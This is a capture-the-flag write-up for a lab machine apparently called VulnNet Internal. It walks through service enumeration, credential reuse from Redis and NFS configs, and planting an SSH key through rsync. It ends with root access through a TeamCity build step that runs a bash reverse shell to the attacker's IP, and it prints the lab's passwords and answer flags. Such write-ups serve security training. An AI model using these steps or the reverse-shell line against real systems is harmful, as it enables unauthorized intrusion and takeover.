

# VulnNet

Leonardo Fontes 21/08/2021

## Network Enumeration

For brevity's sake, the complete output is reduced

```
sudo nmap -sC -sV -A -O 10.10.114.2
```

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
111/tcp	open	rpcbind	2-4 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
873/tcp	open	rsync	(protocol version 31)
2049/tcp	open	nfs_acl	3 (RPC #100227)
9090/tcp	filtered	zeus-admin	

Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

## RPCBind Enumeration

Starting from the lower ports. Lets see what kind of information we can gather.

From the *nmap* output:

```

111/tcp open      rpcbind      2-4 (RPC #100000)
rpcinfo:
  program version  port/proto  service
  100000  2,3,4      111/tcp     rpcbind
  100000  2,3,4      111/udp     rpcbind
  100000  3,4        111/tcp6    rpcbind
  100000  3,4        111/udp6    rpcbind
  100003  3          2049/udp    nfs
  100003  3          2049/udp6   nfs
  100003  3,4        2049/tcp    nfs
  100003  3,4        2049/tcp6   nfs
  100005  1,2,3      35433/tcp6  mountd
  100005  1,2,3      42003/tcp   mountd
  100005  1,2,3      48440/udp   mountd
  100005  1,2,3      59413/udp6  mountd
  100021  1,3,4      33687/tcp   nlockmgr
  100021  1,3,4      35807/tcp6  nlockmgr
  100021  1,3,4      48080/udp   nlockmgr
  100021  1,3,4      51254/udp6  nlockmgr
  100227  3          2049/tcp    nfs_acl
  100227  3          2049/tcp6   nfs_acl
  100227  3          2049/udp    nfs_acl
  100227  3          2049/udp6   nfs_acl

```

From *hacktricks*:

- If you find the service NFS then probably you will be able to list and download(and maybe upload) files

And as we already confirmed that port 2049 is opened. So lets hold on to this piece of info

## NetBIOS and Samba Enumeration

As ports 139 and 445 are opened and running NetBIOS/Samba, we can use that to try and collect more important information:

```
smbclient -N -L \\10.10.208.40\
```

```

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
shares         Disk      VulnNet Business Shares
IPC$           IPC       IPC Service (vulnnet-internal server (Samba,
Ubuntu))
SMB1 disabled -- no workgroup available

```

---

The shares in the server are not protected. Can we access them?

```
smbclient -N \\\10.10.208.40\shares
```

Try "help" to get a list of possible commands.

```
smb: \> ls
```

.	D	0	Tue Feb 2 04:20:09 2021
..	D	0	Tue Feb 2 04:28:11 2021
temp	D	0	Sat Feb 6 06:45:10 2021
data	D	0	Tue Feb 2 04:27:33 2021

Now you can exfiltrate the files in those two directories.

Inside *services.txt* there's the first flag:

```
THM{0a09d51e488f5fa105d8d866a497440a}
```

There's nothing of significance in the other files.

## Rsync Enumeration

```
rsync -av --list-only rsync://10.10.208.40/
```

```
files          Necessary home interaction
```

Now you've just confirmed there's a share called *files* exposed by the server.

You can use this information to enumerate this share:

```
└─$ rsync -av --list-only rsync://10.10.208.40/files
Password:
```

It's asking for a password. Let's take a step back and see if we can find something.

# Enumerating NFS

It's time to come back to that piece of information we got earlier. Let's see if we can list the files within the server:

```
-$ showmount -e 10.10.208.40
Export list for 10.10.208.40:
/opt/conf *
```

Mount the remote file server and explore it:

```
sudo mount -t nfs 10.10.208.40:/opt/conf tmp -o nolock
```

```
-$ ls

hp  init  opt  profile.d  redis  vim  wildmidi
```

There's a lot of noise inside this share, meaning, there's a lot of files, and some of them are quite verbose. But none of them are really important. Except for one located in `redis/redis.conf`. It seems to be describing a service that is running on port 6379. Which is weird, since this port didn't show up in the *nmap* scan. After a quick google search, I find that:

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.

This is looking a lot like another share.

There's also another line that says:

```
requirepass "B65Hx562F@ggAZ@F"
```

Now we are armed with a new protocol to discover, and even an authentication mechanism.

Lets run *nmap* again, this time specifying the port (at that time, my machine had expired, so I had to start another instance and got a different IP address):

```
sudo nmap -sC -sV -A -O -p6379 10.10.190.104
```

```
PORT      STATE SERVICE VERSION
6379/tcp  open  redis    Redis key-value store
```

Now it's time to enumerate our third share.

Since we've got our password, we can just log in and start the enumeration:

```
-$ redis-cli -h 10.10.190.104 -a "B65Hx562F@ggAZ@F"
1 x
Warning: Using a password with '-a' or '-u' option on the command line
interface may not be safe.
10.10.190.104:6379>
```

Listing the keys inside the share:

```
10.10.190.104:6379> keys *
1) "internal flag"
2) "int"
3) "authlist"
4) "marketlist"
5) "tmp"
10.10.190.104:6379>
```

```
10.10.190.104:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
10.10.190.104:6379>
```

That's our second flag.

If you try to use that same command on another file, you'll get:

```
10.10.190.104:6379> get "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
```

Do a quick google search, and you'll stumble on a [Stackoverflow question](#).

Redis supports 5 data types. You need to know what type of value that a key maps to, as for each data type, the command to retrieve it is different. Here are the commands to retrieve key value:

- if value is of type string → GET `<key>`
- if value is of type hash → HGETALL `<key>`
- if value is of type lists → lrange `<key> <start> <end>`
- if value is of type sets → smembers `<key>`
- if value is of type sorted sets → ZRANGEBYSCORE `<key> <min>`  
`<max>`

Use the `TYPE` command to check the type of value a key is mapping to:

- type `<key>`

```
10.10.190.104:6379> type "authlist"
list
10.10.190.104:6379>
```

Since it's a list type, we'll use *lrange*:

```
10.10.190.104:6379> lrange "authlist" 0 2
```

1)

```
"QXV0aG9yaXphdGlubiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIH Bhc3N3biBkaW50eS1lbnRpdjEzLnk="
```

2)

```
"QXV0aG9yaXphdGlubiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIH Bhc3N3biBkaW50eS1lbnRpdjEzLnk="
```

3)

```
"QXV0aG9yaXphdGlubiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIH Bhc3N3biBkaW50eS1lbnRpdjEzLnk="
```

Decode this string:

```
-$ base64 -d <<<
QXV0aG9yaXphdGlvbiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3
Authorization for rsync://rsync-connect@127.0.0.1 with password
Hcg3HP67@TW@Bc72v
```

And there's the *rsync* authentication mechanism we needed.

## Back to Rsync Enumeration

Let's go back and use the command we tried before, but now we have a password for auth.

This time I dropped the `-a` since the output was being overly-verbose.

```
-$ rsync -v --list-only rsync://rsync-connect@10.10.190.104/files
Password:
receiving file list ... done
drwxr-xr-x          4,096 2021/02/01 07:51:14 .
drwxr-xr-x          4,096 2021/02/06 07:49:29 sys-internal

sent 20 bytes  received 62 bytes  14.91 bytes/sec
total size is 0  speedup is 0.00
```

Now let's check this sys-internal directory:

```
-$ rsync -v --list-only rsync://rsync-connect@10.10.190.104/files/sys-internal/
Password:
receiving file list ... done
drwxr-xr-x          4,096 2021/02/06 07:49:29 .
-rw-----           61 2021/02/06 07:49:28 .Xauthority
lrwxrwxrwx           9 2021/02/01 08:33:19 .bash_history
-rw-r--r--          220 2021/02/01 07:51:14 .bash_logout
-rw-r--r--        3,771 2021/02/01 07:51:14 .bashrc
-rw-r--r--           26 2021/02/01 07:53:18 .dmrc
-rw-r--r--          807 2021/02/01 07:51:14 .profile
lrwxrwxrwx           9 2021/02/02 09:12:29 .rediscli_history
-rw-r--r--           0 2021/02/01 07:54:03 .sudo_as_admin_successful
-rw-r--r--          14 2018/02/12 14:09:01 .xscreensaver
-rw-----        2,546 2021/02/06 07:49:35 .xsession-errors
-rw-----        2,546 2021/02/06 06:40:13 .xsession-errors.old
-rw-----           38 2021/02/06 06:54:25 user.txt
drwxrwxr-x          4,096 2021/02/02 04:23:00 .cache
drwxrwxr-x          4,096 2021/02/01 07:53:57 .config
```

This is looking a lot like a `/home/sys-internal` directory.

You could also **upload** some **content** using rsync (for example, in this case we can upload an ***authorized\_keys*** file to obtain access to the box):

Let's try this. First, we'll create a new ssh key:

---



```
|          . . |
|.      o  = . |
|o      . S O = |
|oo     .= B E . |
|o..   o .O +   |
|   ..o.=BoB.+ . |
|   +oo*BB.oo=. |
+-----[SHA256]-----+
```

Now copy your new public key into a file called *authorized\_keys*, and let's try to upload this file into the user's home.

```
~$ cp ssh/id_rsa.pub authorized_keys

└─$ rsync -av authorized_keys rsync://rsync-connect@10.10.190.104/files/sys-
internal/.ssh/
Password:
sending incremental file list
authorized_keys

sent 675 bytes  received 35 bytes  157.78 bytes/sec
total size is 563  speedup is 0.79

└─(kali㉿kali)-[~/THM/vulnnet]
└─$ rsync -v --list-only rsync://rsync-connect@10.10.190.104/files/sys-
internal/.ssh/
Password:
receiving file list ... done
drwxrwxr-x          4,096 2021/08/21 14:14:22 .
-rw-r--r--          563 2021/08/21 14:13:10 authorized_keys

sent 20 bytes  received 68 bytes  16.00 bytes/sec
total size is 563  speedup is 6.40
```

It worked. Now we can try to ssh into the server as *sys-internal*:

```
-$ ssh -i ssh/id_rsa sys-internal@10.10.190.104  
  
sys-internal@vulnnet-internal:~$
```

And we've got a shell :)

## Privilege Escalation

We're finally here. But there's still a mile to run.

First and foremost, the user flag:

```
sys-internal@vulnnet-internal:~$ cat user.txt  
THM{da7c20696831f253e0afaca8b83c07ab}
```

## Enumerating Processes

Now this took me quite a while to figure out. There's no `setuid`, capabilities or `sudo`er binary to gain elevated privileges.

First, after running `ps aux`, there's one process in particular that got my attention since I hadn't seen it before during enumeration:

```
root      555  0.0  0.0  4628  672 ?        S    19:30   0:00 sh teamcity-  
server.sh _start_internal  
root      565  0.0  0.0  4752 1808 ?        S    19:30   0:00 sh  
/TeamCity/bin/teamcity-server-restarter.sh run
```

After a quick google search:

**TeamCity** is a [build management](#) and [continuous integration](#) server from [JetBrains](#). It was first released on October 2, 2006[ [2](#) ] and is commercial software and licensed under a proprietary license: a [freemium](#) license for up to 100 build configurations and three free Build Agent licenses are available. [Open Source](#) projects may request a free license.

Let's try to find the installation directory:

```
sys-internal@vulnnet-internal:~$ find / -type d -iname teamcity 2>/dev/null
/TeamCity
/TeamCity/buildAgent/plugins/rake-runner/rb/patch/bdd/teamcity
/TeamCity/buildAgent/plugins/rake-
runner/rb/patch/bdd/teamcity/spec/runner/formatter/teamcity
/TeamCity/buildAgent/plugins/rake-runner/rb/patch/common/teamcity
/TeamCity/buildAgent/plugins/rake-
runner/rb/patch/testunit/test/unit/ui/teamcity
```

After changing into it's directory, there's a very interesting file:

```
sys-internal@vulnnet-internal:/TeamCity$ cat TeamCity-readme.txt
This is the JetBrains TeamCity home directory.

To run the TeamCity server and agent using a console, execute:
* On Windows: `.\bin\runAll.bat start`
* On Linux and macOS: `./bin/runAll.sh start`

By default, TeamCity will run in your browser on `http://localhost:80/`
(Windows) or `http://localhost:8111/` (Linux, macOS). If you cannot access the
default URL, try these Troubleshooting tips:
https://www.jetbrains.com/help/teamcity/installing-and-configuring-the-
teamcity-server.html#Troubleshooting+TeamCity+Installation.

For evaluation purposes, we recommend running both server and agent. If you
need to run only the TeamCity server, execute:
* On Windows: `.\bin\teamcity-server.bat start`
* On Linux and macOS: `./bin/teamcity-server.sh start`

For licensing information, see the "licenses" directory.

More information:
TeamCity documentation: https://www.jetbrains.com/help/teamcity/teamcity-
documentation.html
TeamCity product page: https://www.jetbrains.com/teamcity/
```

Yet another service that didn't show up in *nmap*'s scan. Let's try to find it now:

```
-$ nmap -sV -Pn -p 8111 10.10.190.104
```

PORT	STATE	SERVICE	VERSION
8111/tcp	closed	skynetflow	

The port is closed. Weird. Let's check out the socket activity from inside the remote host:

```
sys-internal@vulnnet-internal:/TeamCity$ ss
```

tcp	ESTAB	0	0
10.10.190.104:ssh			
10.6.93.17:40384			
tcp	ESTAB	0	0
[::ffff:127.0.0.1]:50093			
[::ffff:127.0.0.1]:8111			
tcp	CLOSE-WAIT	1	0
[::ffff:127.0.0.1]:38257			
[::ffff:127.0.0.1]:8111			
tcp	ESTAB	0	0
[::ffff:127.0.0.1]:8111			
[::ffff:127.0.0.1]:50093			

So that means that the service is in fact running, but the port is opened in loopback, i.e, only the remote host or hosts inside the internal network can access it. We can use proxy or tunnels to circumvent this issue (metasploit +proxychains + socks5 or netcat port forwarding or SSH).


Let's close out current SSH session and open another one, this time using an SSH tunnel to locally forward his the server's 8111 port into ours 80:

```
$ ssh -i ssh/id_rsa -L 80:localhost:8111 sys-internal@10.10.190.104
```

Accessing our localhost through the web:



## Log in to TeamCity

 No System Administrator found. [?](#)

Log in as a [Super user](#) to create an administrator account.

Username

Password

☒ Remember me

Log in

[Reset password](#)

Version 2020.2.2 (build 85899)

After searching the web for default credentials and trying all the most used combinations, i.e, admin/admin, I eventually clicked in [Log in as a Super User](#):



## Log in as Super user

Authentication token: ?

☒ Remember me

Log in

Version 2020.2.2 (build 85899)

It's asking for an *authentication token*. Click the  icon above the form:

The **Super user** login allows you to access the server UI with System Administrator permissions. For example, if you forgot the credentials or need to fix authentication-related settings. The login is performed using authentication token that can be found in the server logs.

Also, Super user token is used to access the server maintenance pages displayed on the server start when a manual action is required to proceed with the server startup.

The authentication token is automatically generated on every server start. The token is printed in the server console and `teamcity-server.log` under the `TeamCity\logs` directory (search for the "Super user authentication token" text). The line is printed on the server start and on any login page submit without a username specified.

Use the *grep* command inside TeamCity root directory too look for the token:

```
grep token logs/catalina.out
```

```
[TeamCity] Super user authentication token: 8446629153054945175 (use empty  
username with the token as the password to access the server)
```

```
[TeamCity] Super user authentication token: 8446629153054945175 (use empty  
username with the token as the password to access the server)
```

```
[TeamCity] Super user authentication token: 3782562599667957776 (use empty
```

```
username with the token as the password to access the server)

[TeamCity] Super user authentication token: 5812627377764625872 (use empty
username with the token as the password to access the server)

[TeamCity] Super user authentication token: 6787206989408001784 (use empty
username with the token as the password to access the server)
```

Try all of the tokens until one of them works for you.

## Inside the webservice dashboard

You should now have access to the webservice dashboard

Administration

Project-related Settings [Install Build Agents](#)

**Projects**

- All Builds
- Build Time
- Disk Usage
- Server Health
- Audit

User Management

- Users
- Groups

Integrations

- Tools

Server Administration

- Global Settings
- Authentication
- Indices

**Projects**

[+ Create project](#)

You have **2** active projects with **1** build configuration. You can have a maximum of **100** build configurations (active and archived). ⓘ

Keyword:  [Filter](#) ☐ Show archived

Filter projects and build configurations by name, ID or description

[↑](#) [↓](#)

- ❏ [«Root project»](#) Contains all other projects
  - ▶ ❏ [bom dia](#)

After at least an hour of google search, I finally found something that may be worthwhile:

► User's Guide

▼ Administrator's Guide

- TeamCity Configuration and Maintenance
  - Security Notes
  - Multinode Setup
- ▼ Managing Projects and Build Configurations
  - Creating and Editing Projects
  - Configuring VCS Settings
  - Storing Project Settings in Version Control
  - ▼ Creating and Editing Build Configurations
    - Configuring General Settings
      - NuGet
    - ▼ Configuring Build Steps
      - Build Step Execution Conditions
      - Working with Meta-Runner
        - Ant
        - Command Line**
        - Deployers
          - Docker
          - Docker Compose

## Command Line Runner Settings

### General Settings

Option	Description
Working directory	Specify the <u>working directory</u> where the command is to be run (if it differs from the <u>build checkout directory</u> ).
Run	Specify the mode: run an executable with parameters or run custom shell/batch script (see below).
Command executable	<i>The option is available if "Executable with parameters" is selected in the <b>Run</b> drop-down menu.</i> Specify the path to an executable to be started.
Command parameters	<i>The option is available if "Executable with parameters" is selected in the <b>Run</b> drop-down menu.</i> Specify space-separated parameters to pass to the executable. If a parameter contains a space, it can be enclosed in double quotes. For non-trivial parameters it is recommended to use "Custom script" option instead.
Custom script	<i>The option is available if "Custom script" is selected in the <b>Run</b> drop-down menu.</i> A platform-specific script which will be executed as an executable script in Unix-like environments and as a <code>*.cmd</code> batch file on Windows. Under Unix-like OS the script is saved with the executable bit set and is then executed by OS. This defaults to <code>/bin/sh</code> interpreter on the most systems. If you need a specific interpreter to be used, specify shebang (for example, <code>#!/bin/bash</code> ) as the first line of the script.

Take your time to read through the step-by-step.

In short:

Projects -> Create Project -> Manually -> Create Build Configuration -> Skip New VCS Root -> Build Steps -> Add Build Step -> Select Python as Runner Type -> Select Custom Script as Command

```
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/10.6.93.17/8081 <&1'")
```

Save the custom script and set up a *netcat* listener on your server before running:

```
└─$ nc -lnvp 8081
1 x
listening on [any] 8081 ...
connect to [10.6.93.17] from (UNKNOWN) [10.10.220.240] 51502
bash: cannot set terminal process group (510): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-internal:/TeamCity/buildAgent/work/d1df6864f98d2599#
```

And just like that, we got our root user, and now, the last flag of the VM:

```
root@vulnnet-internal:/TeamCity/buildAgent/work/d1df6864f98d2599# cat
/root/root.txt
<uildAgent/work/d1df6864f98d2599# cat /root/root.txt
THM{e8996faea46df09dba5676dd271c60bd}
```